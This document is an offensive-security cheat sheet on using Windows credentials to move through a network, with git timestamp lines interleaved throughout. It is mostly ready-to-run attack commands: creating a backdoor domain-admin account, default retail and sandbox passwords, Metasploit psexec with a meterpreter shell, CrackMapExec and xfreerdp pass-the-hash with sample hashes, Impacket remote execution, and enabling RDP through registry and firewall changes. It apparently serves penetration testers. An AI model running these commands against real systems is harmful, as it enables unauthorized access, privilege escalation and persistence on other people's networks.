2017-12-06 19:40:29 +00:00
# Windows - Using credentials
2018-06-05 22:05:28 +00:00
2019-10-20 11:25:06 +00:00
## Summary
* [TIPS ](#tips )
* [TIP 1 - Create your credential ](#tip-1-create-your-credential )
* [TIP 2 - Retail Credential ](#tip-2-retail-credential )
* [TIP 3 - Sandbox Credential - WDAGUtilityAccount ](#tip-3-sandbox-credrential-wdagutilityaccount )
* [Metasploit ](#metasploit )
* [Metasploit - SMB ](#metasploit-smb )
* [Metasploit - Psexec ](#metasploit-psexec )
* [Crackmapexec ](#crackmapexec )
* [Winexe ](#winexe )
2020-02-13 21:53:45 +00:00
* [WMI ](#wmi )
2019-10-20 11:25:06 +00:00
* [Psexec.py / Smbexec.py / Wmiexec.py ](#psexec.py---smbexec.py---wmiexec.py )
* [PsExec - Sysinternal ](#psexec-sysinternal )
* [RDP Remote Desktop Protocol ](#rdp-remote-desktop-protocol )
* [Netuse ](#netuse )
* [Runas ](#runas )
## TIPS
### TIP 1 - Create your credential
2018-08-12 21:30:22 +00:00
2018-05-20 20:10:33 +00:00
```powershell
2019-05-25 16:19:08 +00:00
net user hacker hacker1234* /add
2018-04-23 16:41:59 +00:00
net localgroup administrators hacker /add
2019-06-09 18:53:41 +00:00
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
2019-05-25 16:19:08 +00:00
net group "Domain Admins" hacker /add /domain
2018-04-23 16:41:59 +00:00
```
2018-08-12 21:30:22 +00:00
2018-05-20 20:10:33 +00:00
Some info about your user
2018-08-12 21:30:22 +00:00
2018-05-20 20:10:33 +00:00
```powershell
net user /dom
net user /domain
```
2018-04-23 16:41:59 +00:00
2019-10-20 11:25:06 +00:00
### TIP 2 - Retail Credential
Retail Credential [@m8urnett on Twitter ](https://twitter.com/m8urnett/status/1003835660380172289 )
2018-08-12 21:30:22 +00:00
2018-06-05 22:05:28 +00:00
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
2018-08-12 21:30:22 +00:00
2018-06-05 22:05:28 +00:00
```powershell
Username: RetailAdmin
Password: trs10
```
2019-10-20 11:25:06 +00:00
### TIP 3 - Sandbox Credential - WDAGUtilityAccount
WDAGUtilityAccount - [@never_released on Twitter ](https://twitter.com/never_released/status/1081569133844676608 )
2019-01-07 17:15:45 +00:00
Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
```powershell
\\windowssandbox
Username: wdagutilityaccount
Password: pw123
```
2019-10-20 11:25:06 +00:00
## Metasploit
### Metasploit - SMB
2018-08-12 21:30:22 +00:00
2017-12-06 19:40:29 +00:00
```c
use auxiliary/scanner/smb/smb_login
2019-06-09 14:05:44 +00:00
set SMBDomain DOMAIN
set SMBUser username
set SMBPass password
2017-12-06 19:40:29 +00:00
services -p 445 -R
run
creds
```
2019-10-20 11:25:06 +00:00
### Metasploit - Psexec
2018-08-12 21:30:22 +00:00
2018-03-12 08:17:31 +00:00
Note: the password can be replaced by a hash to execute a `pass the hash` attack.
2018-08-12 21:30:22 +00:00
2017-12-06 19:40:29 +00:00
```c
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
2019-06-09 14:05:44 +00:00
set SMBUser username
set SMBPass password
2017-12-06 19:40:29 +00:00
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```
2019-10-20 11:25:06 +00:00
## Crackmapexec
2018-08-12 21:30:22 +00:00
2017-12-06 19:40:29 +00:00
```python
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
2019-06-09 14:05:44 +00:00
python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
2019-10-20 11:25:06 +00:00
# pass the hash
2018-03-12 08:17:31 +00:00
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
```
2019-10-20 11:25:06 +00:00
## Winexe
Integrated to Kali
2018-08-12 21:30:22 +00:00
2017-12-06 19:40:29 +00:00
```python
2019-06-09 14:05:44 +00:00
winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
2017-12-06 19:40:29 +00:00
```
2020-02-13 21:53:45 +00:00
## WMI
```powershell
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
```
2019-10-20 11:25:06 +00:00
## Psexec.py / Smbexec.py / Wmiexec.py
from Impacket
2018-08-12 21:30:22 +00:00
2017-12-06 19:40:29 +00:00
```python
git clone https://github.com/CoreSecurity/impacket.git
2019-06-09 14:05:44 +00:00
python psexec.py DOMAIN/username:password@10.10.10.10
python smbexec.py DOMAIN/username:password@10.10.10.10
python wmiexec.py DOMAIN/username:password@10.10.10.10
# psexec.exe -s cmd
# switch admin user to NT Authority/System
2017-12-06 19:40:29 +00:00
```
2019-10-20 11:25:06 +00:00
## PsExec - Sysinternal
from Windows - [Sysinternal ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite )
```powershell
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell
```
## RDP Remote Desktop Protocol
2018-08-12 21:30:22 +00:00
2020-02-06 20:41:29 +00:00
Abuse RDP protocol to execute commands remotely with [SharpRDP ](https://github.com/0xthirteen/SharpRDP )
```powershell
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
```
Or connect remotely with `rdesktop`
2018-07-08 18:03:40 +00:00
```powershell
2019-06-09 14:05:44 +00:00
rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
2019-03-03 15:31:17 +00:00
# -g : the screen will take up 70% of your actual screen size
2019-03-03 19:01:25 +00:00
# -r disk:share : sharing a local folder during a remote desktop session
2017-12-06 19:40:29 +00:00
```
2018-07-08 18:03:40 +00:00
2018-02-15 22:27:42 +00:00
Note: you may need to enable it with the following command
2018-08-12 21:30:22 +00:00
2018-07-08 18:03:40 +00:00
```powershell
2018-02-15 22:27:42 +00:00
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
2018-07-08 18:03:40 +00:00
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
2018-02-15 22:27:42 +00:00
```
2018-07-08 18:03:40 +00:00
2018-03-12 08:17:31 +00:00
or with psexec(sysinternals)
2018-08-12 21:30:22 +00:00
2018-07-08 18:03:40 +00:00
```powershell
2018-03-12 08:17:31 +00:00
psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
```
2017-12-06 19:40:29 +00:00
2018-07-15 09:06:43 +00:00
or with crackmapexec
2018-08-12 21:30:22 +00:00
2018-07-15 09:06:43 +00:00
```powershell
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
```
2019-05-12 19:34:09 +00:00
or with Metasploit
2018-08-12 21:30:22 +00:00
```powershell
2019-05-12 19:34:09 +00:00
run getgui -u admin -p 1234
2018-05-05 21:11:17 +00:00
```
2020-02-06 20:41:29 +00:00
or with xfreerdp
2018-08-12 21:30:22 +00:00
2018-07-08 18:03:40 +00:00
```powershell
2019-05-12 19:34:09 +00:00
xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
2019-11-07 22:21:00 +00:00
xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
xfreerd /u:runner /v:10.0.0.1 # password will be asked
2018-07-08 18:03:40 +00:00
```
2019-10-20 11:25:06 +00:00
## Netuse
Windows only
2018-08-12 21:30:22 +00:00
```powershell
2019-06-09 14:05:44 +00:00
net use \\ordws01.cscou.lab /user:DOMAIN\username password
2017-12-06 19:40:29 +00:00
C$
```
2019-10-20 11:25:06 +00:00
## Runas
2018-08-12 21:30:22 +00:00
```powershell
2019-06-09 14:05:44 +00:00
runas /netonly /user:DOMAIN\username "cmd.exe"
2019-10-20 11:25:06 +00:00
runas /noprofil /netonly /user:DOMAIN\username cmd.exe
2017-12-06 19:40:29 +00:00
```
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
- [Ropnop - Using credentials to own Windows boxes ](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/ )
- [Ropnop - Using credentials to own Windows boxes Part 2 ](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/ )
- [Gaining Domain Admin from Outside Active Directory ](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html )